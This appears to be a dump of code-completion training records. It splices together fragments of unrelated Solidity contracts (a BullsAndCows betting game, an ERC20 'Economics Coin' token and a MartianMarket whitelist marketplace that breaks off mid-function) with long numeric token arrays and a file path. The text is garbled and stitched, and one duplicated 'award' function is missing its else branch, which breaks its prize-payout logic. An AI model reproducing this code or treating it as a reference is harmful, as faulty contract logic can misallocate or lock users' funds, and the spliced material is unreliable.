storage d,uint256 nextRound) internal view returns(bool){ return ( CommUtils.mulRate(nextRound,100-d.nextRoundRate)> d.minReplyFee ); } function clearAndNextRound(Data storage d,uint256 prize) internal { d.prize = prize; d.replys.clear(); d.replayCount = 0; d.firstReplayAt = 0; d.round++; d.answer = CommUtils.genRandomArray(d.answer.length,d.charsLength,0); } function getReplyFee(Data storage d) internal view returns(uint256){ uint256 prizeMax = (d.prize * d.maxReplyFeeRate ) /DECIMAL_PLACE; uint256 ans = CommUtils.pwrFloat(d.minReplyFee, d.increaseRate_1000 +1000,1000,d.replys.size); ans = ans > prizeMax ? prizeMax : ans; uint256 count = d.replys.countByGrand(); if(count>0){ ans = CommUtils.pwrFloat(ans,GRAND_RATE,DECIMAL_PLACE,count); } ans = ans < d.minReplyFee ? d.minReplyFee : ans; return ans; } function sellReply(Data storage d,Player.Map storage ps,uint256 ansHash,uint256 price,uint256 fee) internal{ d.replys.setSellPrice(ansHash,price); saveReplyFee(d,ps,fee); } function buyReply(Data storage d,Player.Map storage ps,uint256 replyIdx,uint256 buyFee) internal{ uint256 ansHash = d.replys.hashIds[replyIdx]; require(buyFee >= d.replys.getSellPrice(replyIdx) ,"buyFee to less"); require(d.replys.seller[ansHash]!=address(0),"d.replys.seller[ansHash]!=address(0)"); d.replys.buyer[ansHash].push(msg.sender); uint256 lessFee = buyFee; address refer = ps.referrerMap[msg.sender]; if(refer == address(0)){ lessFee -=ps.depositAuthor(buyFee*(DIVIDEND_AUTH+DIVIDEND_INVITE+DIVIDEND_INVITE_REFOUND)/100); }else{ lessFee -=ps.deposit(msg.sender,buyFee*DIVIDEND_INVITE_REFOUND/100); lessFee -=ps.deposit(refer,buyFee*DIVIDEND_INVITE/100); lessFee -=ps.depositAuthor(buyFee*DIVIDEND_AUTH/100); } lessFee -=ps.deposit(d.ownerId,buyFee* d.toOwner /100); ps.deposit(d.replys.seller[ansHash],lessFee); } function getGameItem(Data storage d) public view returns( bytes32, //name uint256, //bestACount uint256, //bestBCount uint256, //answer count uint256, //totalPrize uint256, // reply Fee uint256 //OverTimeLeft ){ (uint256 aCount,uint256 bCount,uint256 bestCount) = d.replys.listBestScore(); bestCount = bestCount; uint256 fee = getReplyFee(d); uint256 overTimeLeft = getOverTimeLeft(d); uint256 replySize = d.replys.size; return( d.name, d.prize, aCount, bCount, replySize, fee, overTimeLeft ); } function getByPrizeLeast(List storage ds) internal view returns (Data storage){ Data storage ans = ds.map[0]; uint256 _cp = ans.prize; for(uint256 i=0;i<ds.size;i++){ if(_cp > ds.map[i].prize){ ans= ds.map[i]; _cp = ans.prize; } } return ans; } function getByPrizeLargestIdx(List storage ds) internal view returns (uint256 ){ uint256 ans = 0; uint256 _cp = 0; for(uint256 i=0;i<ds.size;i++){ if(_cp < ds.map[i].prize){ ans= i; _cp = ds.map[i].prize; } } return ans; } function getByName(List storage ds,bytes32 name) internal view returns( Data ){ for(uint256 i=0;i<ds.size;i++){ if(ds.map[i].name == name){ return ds.map[i]; } } } function getIdxByNameElseLargest(List storage ds,bytes32 name) internal view returns( uint256 ){ for(uint256 i=0;i<ds.size;i++){ if(ds.map[i].name == name){ return i; } } return getByPrizeLargestIdx(ds); } function getEmpty(List storage ds) internal returns(Data storage){ for(uint256 i=0;i<ds.size;i++){ if(ds.map[i].ownerId == address(0)){ return ds.map[i]; } } uint256 lastIdx= ds.size++; return ds.map[lastIdx]; } function award(RoomInfo.Data storage r,Player.Map storage players) internal returns( address[] memory winners, uint256[] memory rewords, uint256 nextRound ) { (PlayerReply.Data storage pr) = getWinReply(r); require( pr.isOwner()," pr.isSelfWinnwer()"); nextRound = r.nextRoundRate * r.prize / 100; require(nextRound<=r.prize, "nextRound<=r.prize"); uint256 reward = r.prize - nextRound; address[] storage ownerIds = pr.ownerIds; winners = new address[](ownerIds.length); rewords = new uint256[](ownerIds.length); uint256 sum = 0; if(ownerIds.length==1){ sum +=players.deposit(msg.sender , reward); winners[0] = msg.sender; rewords[0] = reward; // emit Wined(msg.sender , reward,roomIdx ,players.getNameByAddr(msg.sender) ); }else{ uint256 otherReward = reward * 30 /100; reward -= otherReward; otherReward = otherReward / (ownerIds.length-1); bool firstGived = false; for(uint256 i=0;i<ownerIds.length;i++){ if(!firstGived && ownerIds[i] == msg.sender){ firstGived = true; sum +=players.deposit(ownerIds[i] , reward); winners[i] = ownerIds[i]; rewords[i] = reward; // emit Wined(ownerIds[i] , reward,roomIdx,players.getNameByAddr(ownerIds[i] )); }else{ sum +=players.deposit(ownerIds[i] , otherReward); //emit Wined(ownerIds[i] , otherReward,roomIdx,players.getNameByAddr(ownerIds[i] )); winners[i] = ownerIds[i]; rewords[i] = otherReward; } } } if(sum>(r.prize-nextRound)){ revert("sum>(r.prize-nextRound)"); } } function getOverTimeLeft(Data storage d) internal view returns(uint256){ if(d.replayCount == 0) return 0; //uint256 time = (d.replayCount * 5 * 60 )+ (3*24*60*60) ; uint256 time = (d.replayCount *d.plusAwardTime )+ d.initAwardTime ; uint256 spendT = (now-d.firstReplayAt); if(time<spendT) return 0; return time - spendT ; } function getWinReply(Data storage d) internal view returns (PlayerReply.Data storage){ PlayerReply.Data storage pr = d.replys.getWin(); if(pr.isWined()) return pr; if(d.replayCount > 0 && getOverTimeLeft(d)==0 ) return d.replys.getLastReply(); return pr; } function getRoomExReplyInfo(Data storage r) internal view returns(uint256 time,uint256 count) { time = r.replys.getLastReplyAt(); count = r.replys.countByGrand(); } function get(List storage ds,uint256 idx) internal view returns(Data storage){ return ds.map[idx]; } } contract BullsAndCows { using Player for Player.Map; //using PlayerReply for PlayerReply.Data; //using PlayerReply for PlayerReply.List; using RoomInfo for RoomInfo.Data; using RoomInfo for RoomInfo.List; using CommUtils for string; uint256 public constant DIGIT_MIN = 4; uint256 public constant SELL_PRICE_RATE = 200; uint256 public constant SELL_MIN_RATE = 50; // RoomInfo.Data[] private roomInfos ; RoomInfo.List roomInfos; Player.Map private players; //constructor() public { } // function createRoomQuick() public payable { // createRoom(4,10,"AAA",35,10,20,0.05 ether,20,20,60*60,60*60); // } // function getBalance() public view returns (uint){ // return address(this).balance; // } // function testNow() public view returns(uint256[]) { // RoomInfo.Data storage r = roomInfos[0] ; // return r.answer; // } // function TestreplayAnser(uint256 roomIdx) public payable { // RoomInfo.Data storage r = roomInfos.map[roomIdx]; // for(uint256 i=0;i<4;i++){ // uint256[] memory aa = CommUtils.genRandomArray(r.answer.length,r.charsLength,i); // r.replayAnser(players,0.5 ether,aa); // } // } function getInitInfo() public view returns( uint256,//roomSize bytes32 //refert ){ return ( roomInfos.size, players.getReferrerName(msg.sender) ); } function getRoomIdxByNameElseLargest(string _roomName) public view returns(uint256 ){ return roomInfos.getIdxByNameElseLargest(_roomName.nameFilter()); } function getRoomInfo(uint256 roomIdx) public view returns( address, //ownerId bytes32, //roomName, uint256, // replay visible idx type uint256, // prize uint256, // replyFee uint256, // reply combo count uint256, // lastReplyAt uint256, // get over time uint256, // round bool // winner ){ RoomInfo.Data storage r = roomInfos.get(roomIdx) ; (uint256 time,uint256 count) = r.getRoomExReplyInfo(); (PlayerReply.Data storage pr) = r.getWinReply(); return ( r.ownerId, r.name, r.replys.size, r.prize, r.getReplyFee(), count, time, r.getOverTimeLeft(), r.round, PlayerReply.isOwner(pr) ); } function getRoom(uint256 roomIdx) public view returns( uint256, //digits, uint256, //templateLen, uint256, //toAnswerRate, uint256, //toOwner, uint256, //nextRoundRate, uint256, //minReplyFee, uint256, //maxReplyFeeRate uint256 //IdxIncreaseRate ){ RoomInfo.Data storage r = roomInfos.map[roomIdx] ; return( r.answer.length, r.charsLength, r.toAnswerRate , //r.toAnswerRate r.toOwner , //r.toOwner, r.nextRoundRate , //r.nextRoundRate, r.minReplyFee, r.maxReplyFeeRate, //r.maxReplyFeeRate r.increaseRate_1000 //IdxIncreaseRate ); } function getGameItem(uint256 idx) public view returns( bytes32 ,// name uint256, //totalPrize uint256, //bestACount uint256 , //bestBCount uint256 , //answer count uint256, //replyFee uint256 //OverTimeLeft ){ return roomInfos.map[idx].getGameItem(); } function getReplyFee(uint256 roomIdx) public view returns(uint256){ return roomInfos.map[roomIdx].getReplyFee(); } function getReplay(uint256 roomIdx,uint256 replayIdx) public view returns( uint256 ,//aCount; uint256,// bCount; uint256[],// answer; uint,// replyAt; uint256, // VisibleType uint256 ,//sellPrice uint256 //ansHash ) { RoomInfo.Data storage r = roomInfos.map[roomIdx]; return r.getReplay(replayIdx); } function replayAnserWithReferrer(uint256 roomIdx,uint256[] tryA,string referrer)public payable { players.applyReferrer(referrer); replayAnser(roomIdx,tryA); } function replayAnser(uint256 roomIdx,uint256[] tryA) public payable { RoomInfo.Data storage r = roomInfos.map[roomIdx]; (uint256 a, uint256 b)= r.replayAnser(players,players.withdrawalFee(r.getReplyFee()),tryA); emit ReplayAnserResult (a,b,roomIdx); } function sellReply(uint256 roomIdx,uint256 ansHash,uint256 price) public payable { RoomInfo.Data storage r = roomInfos.map[roomIdx]; require(price >= r.prize * SELL_MIN_RATE / 100,"price too low"); r.sellReply(players,ansHash,price,players.withdrawalFee(price * SELL_PRICE_RATE /100)); } function buyReply(uint256 roomIdx,uint256 replyIdx) public payable{ roomInfos.map[roomIdx].buyReply(players,replyIdx,msg.value); } function isEmptyName(string _n) public view returns(bool){ return players.isEmptyName(_n.nameFilter()); } function award(uint256 roomIdx) public { RoomInfo.Data storage r = roomInfos.map[roomIdx]; ( address[] memory winners, uint256[] memory rewords, uint256 nextRound )=r.award(players); emit Wined(winners , rewords,roomIdx); //(nextRound >= CREATE_INIT_PRIZE && SafeMath.mulRate(nextRound,maxReplyFeeRate) > r.minReplyFee ) || roomInfos.length == 1 if(r.isAbleNextRound(nextRound)){ r.clearAndNextRound(nextRound); }else if(roomInfos.size>1){ for(uint256 i = roomIdx; i<roomInfos.size-1; i++){ roomInfos.map[i] = roomInfos.map[i+1]; } delete roomInfos.map[roomInfos.size-1]; roomInfos.size--; roomInfos.getByPrizeLeast().prize += nextRound; }else{ delete roomInfos.map[roomIdx]; players.depositAuthor(nextRound); roomInfos.size = 0; } } function createRoom( uint256 digits, uint256 templateLen, string roomName, uint256 toAnswerRate, uint256 toOwner, uint256 nextRoundRate, uint256 minReplyFee, uint256 maxReplyFeeRate, uint256 increaseRate, uint256 initAwardTime, uint256 plusAwardTime ) public payable{ bytes32 name = roomName.nameFilter(); require(roomInfos.getByName(name).ownerId == address(0)); RoomInfo.Data storage r = roomInfos.getEmpty(); r.init( digits, templateLen, name, toAnswerRate, toOwner, nextRoundRate, minReplyFee, maxReplyFeeRate, increaseRate, initAwardTime, plusAwardTime ); } function getPlayerWallet() public view returns( uint256 ){ return players.getAmmount(msg.sender); } function withdrawal() public payable { uint256 sum=players.withdrawalAll(msg.sender); msg.sender.transfer(sum); } function registerName(string name) public payable { require(msg.value >= 0.1 ether); require(players.getName()==""); players.registerName(name.nameFilter()); } function getPlayerName() public view returns(bytes32){ return players.getName(); } event ReplayAnserResult( uint256 aCount, uint256 bCount, uint256 roomIdx ); event Wined( address[] winners, uint256[] rewords, uint256 roomIdx ); }
emit Wined(msg.sender , reward,roomIdx ,players.getNameByAddr(msg.sender) ); emit Wined(ownerIds[i] , reward,roomIdx,players.getNameByAddr(ownerIds[i] ));emit Wined(ownerIds[i] , otherReward,roomIdx,players.getNameByAddr(ownerIds[i] ));
function award(RoomInfo.Data storage r,Player.Map storage players) internal returns( address[] memory winners, uint256[] memory rewords, uint256 nextRound ) { (PlayerReply.Data storage pr) = getWinReply(r); require( pr.isOwner()," pr.isSelfWinnwer()"); nextRound = r.nextRoundRate * r.prize / 100; require(nextRound<=r.prize, "nextRound<=r.prize"); uint256 reward = r.prize - nextRound; address[] storage ownerIds = pr.ownerIds; winners = new address[](ownerIds.length); rewords = new uint256[](ownerIds.length); uint256 sum = 0; if(ownerIds.length==1){ sum +=players.deposit(msg.sender , reward); winners[0] = msg.sender; rewords[0] = reward; uint256 otherReward = reward * 30 /100; reward -= otherReward; otherReward = otherReward / (ownerIds.length-1); bool firstGived = false; for(uint256 i=0;i<ownerIds.length;i++){ if(!firstGived && ownerIds[i] == msg.sender){ firstGived = true; sum +=players.deposit(ownerIds[i] , reward); winners[i] = ownerIds[i]; rewords[i] = reward; sum +=players.deposit(ownerIds[i] , otherReward); winners[i] = ownerIds[i]; rewords[i] = otherReward; } } } if(sum>(r.prize-nextRound)){ revert("sum>(r.prize-nextRound)"); } }
12,652,570
[ 1, 18356, 678, 1920, 12, 3576, 18, 15330, 269, 19890, 16, 13924, 4223, 269, 1601, 414, 18, 17994, 858, 3178, 12, 3576, 18, 15330, 13, 11272, 3626, 678, 1920, 12, 8443, 2673, 63, 77, 65, 269, 19890, 16, 13924, 4223, 16, 1601, 414, 18, 17994, 858, 3178, 12, 8443, 2673, 63, 77, 65, 262, 1769, 18356, 678, 1920, 12, 8443, 2673, 63, 77, 65, 269, 1308, 17631, 1060, 16, 13924, 4223, 16, 1601, 414, 18, 17994, 858, 3178, 12, 8443, 2673, 63, 77, 65, 262, 1769, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 279, 2913, 12, 13646, 966, 18, 751, 2502, 436, 16, 12148, 18, 863, 2502, 18115, 13, 2713, 225, 1135, 12, 203, 5411, 1758, 8526, 3778, 5657, 9646, 16, 203, 5411, 2254, 5034, 8526, 3778, 283, 3753, 16, 203, 5411, 2254, 5034, 1024, 11066, 203, 540, 203, 3639, 262, 225, 288, 203, 3639, 261, 12148, 7817, 18, 751, 2502, 846, 13, 273, 13876, 267, 7817, 12, 86, 1769, 203, 3639, 2583, 12, 846, 18, 291, 5541, 9334, 6, 846, 18, 291, 10084, 18049, 82, 2051, 1435, 8863, 203, 540, 203, 3639, 1024, 11066, 273, 436, 18, 4285, 11066, 4727, 380, 436, 18, 683, 554, 342, 2130, 31, 203, 3639, 2583, 12, 4285, 11066, 32, 33, 86, 18, 683, 554, 16, 315, 4285, 11066, 32, 33, 86, 18, 683, 554, 8863, 203, 3639, 2254, 5034, 19890, 273, 436, 18, 683, 554, 300, 1024, 11066, 31, 203, 3639, 1758, 8526, 2502, 3410, 2673, 273, 846, 18, 8443, 2673, 31, 203, 3639, 5657, 9646, 273, 394, 1758, 8526, 12, 8443, 2673, 18, 2469, 1769, 203, 3639, 283, 3753, 273, 394, 2254, 5034, 8526, 12, 8443, 2673, 18, 2469, 1769, 203, 3639, 2254, 5034, 2142, 273, 374, 31, 203, 3639, 309, 12, 8443, 2673, 18, 2469, 631, 21, 15329, 203, 5411, 2142, 1011, 1601, 414, 18, 323, 1724, 12, 3576, 18, 15330, 269, 19890, 1769, 203, 5411, 5657, 9646, 63, 20, 65, 273, 1234, 18, 15330, 31, 203, 5411, 283, 3753, 63, 20, 65, 273, 19890, 31, 203, 5411, 2254, 5034, 1308, 17631, 1060, 273, 19890, 380, 2 ]
./full_match/42/0x469b5F0A4DC9D870daC180B2cA7d9b0365746877/sources/browser/EconomicsTest.sol
standard ERC20 variables. events
contract MyCoin is Ownable { using SafeMath for uint256; string public constant name = "Economics Coin"; string public constant symbol = "EC"; uint256 public constant decimals = 18; uint256 private constant _maximumSupply = 10 ** decimals; uint256 public _totalSupply; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => uint256) public _balanceOf; mapping(address => mapping(address => uint256)) public allowance; constructor(uint256 _initialSupply) public { _owner = msg.sender; _totalSupply = _maximumSupply * _initialSupply; _balanceOf[msg.sender] = _maximumSupply * _initialSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply () public view returns (uint256) { return _totalSupply; } function balanceOf (address who) public view returns (uint256) { return _balanceOf[who]; } function _transfer(address _from, address _to, uint256 _value) internal { _balanceOf[_from] = _balanceOf[_from].sub(_value); _balanceOf[_to] = _balanceOf[_to].add(_value); emit Transfer(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } function burn (uint256 _burnAmount) public onlyOwner returns (bool success) { _transfer(_owner, address(0), _burnAmount); _totalSupply = _totalSupply.sub(_burnAmount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { require(_spender != address(0)); allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= _balanceOf[_from]); require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); _transfer(_from, _to, _value); return true; } }
9,590,923
[ 1, 10005, 4232, 39, 3462, 3152, 18, 2641, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 8005, 27055, 353, 14223, 6914, 288, 203, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 533, 1071, 5381, 508, 273, 315, 41, 591, 362, 2102, 28932, 14432, 203, 533, 1071, 5381, 3273, 273, 315, 7228, 14432, 203, 2254, 5034, 1071, 5381, 15105, 273, 6549, 31, 203, 2254, 5034, 3238, 5381, 389, 15724, 3088, 1283, 273, 1728, 2826, 15105, 31, 203, 2254, 5034, 1071, 389, 4963, 3088, 1283, 31, 203, 203, 871, 12279, 12, 2867, 8808, 628, 16, 1758, 8808, 358, 16, 2254, 5034, 460, 1769, 203, 871, 1716, 685, 1125, 12, 2867, 8808, 3410, 16, 1758, 8808, 17571, 264, 16, 2254, 5034, 460, 1769, 203, 2874, 12, 2867, 516, 2254, 5034, 13, 1071, 389, 12296, 951, 31, 203, 2874, 12, 2867, 516, 2874, 12, 2867, 516, 2254, 5034, 3719, 1071, 1699, 1359, 31, 203, 3885, 12, 11890, 5034, 389, 6769, 3088, 1283, 13, 1071, 288, 203, 389, 8443, 273, 1234, 18, 15330, 31, 203, 389, 4963, 3088, 1283, 273, 389, 15724, 3088, 1283, 380, 389, 6769, 3088, 1283, 31, 203, 389, 12296, 951, 63, 3576, 18, 15330, 65, 273, 389, 15724, 3088, 1283, 380, 389, 6769, 3088, 1283, 31, 203, 203, 3626, 12279, 12, 2867, 12, 20, 3631, 1234, 18, 15330, 16, 389, 4963, 3088, 1283, 1769, 203, 289, 203, 445, 2078, 3088, 1283, 1832, 1071, 1476, 1135, 261, 11890, 5034, 13, 288, 203, 327, 389, 4963, 3088, 1283, 31, 203, 289, 203, 445, 11013, 951, 261, 2867, 10354, 13, 1071, 1476, 1135, 261, 11890, 5034, 13, 288, 203, 327, 389, 12296, 951, 2 ]
//SPDX-License-Identifier: MIT pragma solidity ^0.8.0; ///////////////////////////////////////////////////////////////////////// // __ ___ __ _ __ ___ __ __ // // / |/ /__ _____/ /_(_)__ ____ / |/ /__ _____/ /_____ / /_ // // / /|_/ / _ `/ __/ __/ / _ `/ _ \ / /|_/ / _ `/ __/ '_/ -_) __/ // // /_/ /_/\_,_/_/ \__/_/\_,_/_//_/ /_/ /_/\_,_/_/ /_/\_\\__/\__/ // // by 0xInuarashi.eth // ///////////////////////////////////////////////////////////////////////// /* Martian Market by 0xInuarashi for Message to Martians (Martians) A Fully functioning on-chain CMS system that can be tapped into front-ends and create a responsive website based on contract-specific databases. ** THIS IS A DECENTRALIZED AND TRUSTLESS WHITELIST MARKETPLACE CREATION SYSTEM ** We chose not to use a proxy contract as multiple approvals have to be done for this contract. In this case, we chose the most decentralized approach which is to create an immutable contract with minimal owner access and allow full control of contract owners' functions over their own database, which is not editable or tamperable even by the Ownable owner themself. >>>> User Access <<<< For authorized controllers: Authorized controllers are able to: - Create WL Vending Items - Modify WL Vending Items For ERC20 contract owners: Contract Owners are able to: - Register Project Info - Set Treasury Address - Manage Authorized Controllers - Add WL Vending Items - Modify WL Vending Items - Delete WL Vending Items >>>> Interfacing <<<<< To draw a front-end interface: getAllEnabledContracts() - Enumerate all available contracts for selection (for contract-specific front-end interfaces, just pull data from your contract only) getWLVendingItemsAll(address contract_) - Enumerate all vending items available for the contract. Supports over 1000 items in 1 call but if you get gas errors, use a pagination method instead. Pagination method: getWLVendingItemsPaginated(address contract_, uint256 start_, uint256 end_) for the start_, generally you can use 0, and for end_, inquire from function getWLVendingItemsLength(address contract_) For interaction of users: purchaseWLVendingItem(address contract_, uint256 index_) can be used and automatically populated to the correct buttons for each WLVendingItem for that, an ethers.js call is invoked for the user to call the function which will transfer their ERC20 token and add them to the purchasers list For administration: setTreasuryAddress(address contract_, address treasury_) can only be set by the contract owner. For this, they are able to set where the ERC20 tokens from the whitelist marketplace sales go to. By default, this is 0x...dead effectively burning the tokens addWLVendingItem(address contract_, string calldata title_, string calldata imageUri_, string calldata projectUri_, string calldata description_, uint32 amountAvailable_, uint32 deadline_, uint256 price_) is used to create a new WLVendingItem for your contract with the details as the input arguments stated. modifyWLVendingItem(address contract_, uint256 index_, WLVendingItem memory WLVendingItem_) lets you modify a WLVendingItem. You have to pass in a tuple instead. Only use when necessary. Not recommended to use. deleteMostRecentWLVendingItem(address contract_) we use a .pop() for this so it can only delete the most recent item. For some mistakes that you made and want to erase them. manageController(address contract_, address operator_, bool bool_) is a special governance function which allows you to add controllers to the contract to do actions on your behalf. */ abstract contract Ownable { address public owner; constructor() { owner = msg.sender; } modifier onlyOwner { require(owner == msg.sender, "Not Owner!"); _; } function transferOwnership(address new_) external onlyOwner { owner = new_; } } interface IERC20 { function owner() external view returns (address); function balanceOf(address address_) external view returns (uint256); function transferFrom(address from_, address to_, uint256 amount_) external; } contract MartianMarketWL is Ownable { // Governance IERC20 public MES = IERC20(0x3C2Eb40D25a4b2B5A068a959a40d57D63Dc98B95); function setMES(address address_) external onlyOwner { MES = IERC20(address_); } // Setting the Governor address public governorAddress; address public registrationCollector; constructor() { governorAddress = msg.sender; registrationCollector = address(this); } uint256 public registrationPrice = 2000 ether; // 2000 $MES // Registry Fee Collector function withdrawMESfromContract(address receiver_) external onlyOwner { MES.transferFrom(address(this), receiver_, MES.balanceOf(address(this))); } function setRegistrationCollector(address collector_) external onlyOwner { registrationCollector = collector_; } // Governance Setup function setGovernorAddress(address governor_) external onlyOwner { governorAddress = governor_; } modifier onlyGovernor { require(msg.sender == governorAddress, "You are not the contract governor!"); _; } function setRegistrationPrice(uint256 price_) external onlyOwner { registrationPrice = price_; } // Here be the core logic of WL Vending // struct ProjectInfo { string projectName; string tokenImageUri; } // Note: Add UNIX timestamp deadline (for active/past) struct WLVendingItem { string title; string imageUri; string projectUri; string description; uint32 amountAvailable; uint32 amountPurchased; uint32 deadline; uint256 price; } // Database of Project Info for ERC20 mapping(address => ProjectInfo) public contractToProjectInfo; // Database of Vending Items for each ERC20 mapping(address => WLVendingItem[]) public contractToWLVendingItems; // Database of Vending Items Purchasers for each ERC20 mapping(address => mapping(uint256 => address[])) public contractToWLPurchasers; mapping(address => mapping(uint256 => mapping(address => bool))) public contractToWLPurchased; function getWLPurchasersOf(address contract_, uint256 index_) external view returns (address[] memory) { return contractToWLPurchasers[contract_][index_]; } // Database for Authorized Controllers of each ERC20 Contract mapping(address => mapping(address => bool)) public contractToControllersApproved; // Database for Receiver wallet of Project address internal burnAddress = 0x000000000000000000000000000000000000dEaD; mapping(address => address) public contractToTreasuryAddress; function _getTreasury(address contract_) internal view returns (address) { return contractToTreasuryAddress[contract_] != address(0) ? contractToTreasuryAddress[contract_] : burnAddress; } // Database Entry for Project Infos function ownerSetContractToProjectInfo(address contract_, string calldata projectName_, string calldata tokenImage_) external onlyOwner { contractToProjectInfo[contract_] = ProjectInfo(projectName_, tokenImage_); emit ProjectInfoPushed(contract_, msg.sender, projectName_, tokenImage_); } function registerProjectInfo(address contract_, string calldata projectName_, string calldata tokenImage_) external onlyContractOwner(contract_) { contractToProjectInfo[contract_] = ProjectInfo(projectName_, tokenImage_); emit ProjectInfoPushed(contract_, msg.sender, projectName_, tokenImage_); } // Database Entry for Enabled Addresses + Enumeration System // mapping(address => bool) public contractToEnabled; // Enumeration Tools address[] public enabledContracts; mapping(address => uint256) public enabledContractsIndex; function getAllEnabledContracts() external view returns (address[] memory) { return enabledContracts; } function _addContractToEnum(address contract_) internal { enabledContractsIndex[contract_] = enabledContracts.length; enabledContracts.push(contract_); } function _removeContractFromEnum(address contract_) internal { uint256 _lastIndex = enabledContracts.length - 1; uint256 _currentIndex = enabledContractsIndex[contract_]; // If the contract is not the last contract in the array if (_currentIndex != _lastIndex) { // Replace the to-be-deleted address with the last address address _lastAddress = enabledContracts[_lastIndex]; enabledContracts[_currentIndex] = _lastAddress; } // Remove the last item enabledContracts.pop(); // Delete the index delete enabledContractsIndex[contract_]; } // Database Entry Tools function ownerSetContractToVending(address contract_, bool bool_) external onlyOwner { require(contractToEnabled[contract_] != bool_, "Contract Already Set as Boolean!"); // Enum Tracking on bool_ statement contractToEnabled[contract_] = bool_; bool_ ? _addContractToEnum(contract_) : _removeContractFromEnum(contract_); emit ContractAdministered(contract_, msg.sender, bool_); } // Contract Registry function registerContractToVending(address contract_) external { require(msg.sender == IERC20(contract_).owner(), "You are not the Contract Owner!"); require(!contractToEnabled[contract_], "Your contract has already been registered!"); require(MES.balanceOf(msg.sender) > registrationPrice, "You don't have enough $MES!"); MES.transferFrom(msg.sender, registrationCollector, registrationPrice); contractToEnabled[contract_] = true; _addContractToEnum(contract_); emit ContractRegistered(contract_, msg.sender, registrationPrice); } // Modifier of Authorization to Administrative Functions modifier onlyContractOwner (address contract_) { require(msg.sender == IERC20(contract_).owner(), "You are not the Contract Owner!"); require(contractToEnabled[contract_], "Please register your Contract first!"); _; } modifier onlyAuthorized (address contract_, address operator_) { require(contractToControllersApproved[contract_][operator_] || msg.sender == IERC20(contract_).owner(), "You are not Authorized for this ERC20 Contract!"); _; } // Events event TreasuryManaged(address indexed contract_, address treasury_); event OperatorManaged(address indexed contract_, address operator_, bool bool_); event WLVendingItemAdded(address indexed contract_, string title_, string imageUri_, string projectUri_, string description_, uint32 amountAvailable_, uint32 deadline_, uint256 price_); event WLVendingItemRemoved(address indexed contract_, address operator_, WLVendingItem item_); event WLVendingItemPurchased(address indexed contract_, uint256 index_, address buyer_, WLVendingItem item_); event ContractRegistered(address indexed contract_, address registerer_, uint256 registrationPrice_); event ContractAdministered(address indexed contract_, address registerer_, bool bool_); event ProjectInfoPushed(address indexed contract_, address registerer_, string projectName_, string tokenImage_); event WLVendingItemModified(address indexed contract_, WLVendingItem before_, WLVendingItem after_); // Core Functions of WL Vending (Admin) function setTreasuryAddress(address contract_, address treasury_) external onlyContractOwner(contract_) { contractToTreasuryAddress[contract_] = treasury_; emit TreasuryManaged(contract_, treasury_); } function manageController(address contract_, address operator_, bool bool_) external onlyContractOwner(contract_) { contractToControllersApproved[contract_][operator_] = bool_; emit OperatorManaged(contract_, operator_, bool_); } function addWLVendingItem(address contract_, string calldata title_, string calldata imageUri_, string calldata projectUri_, string calldata description_, uint32 amountAvailable_, uint32 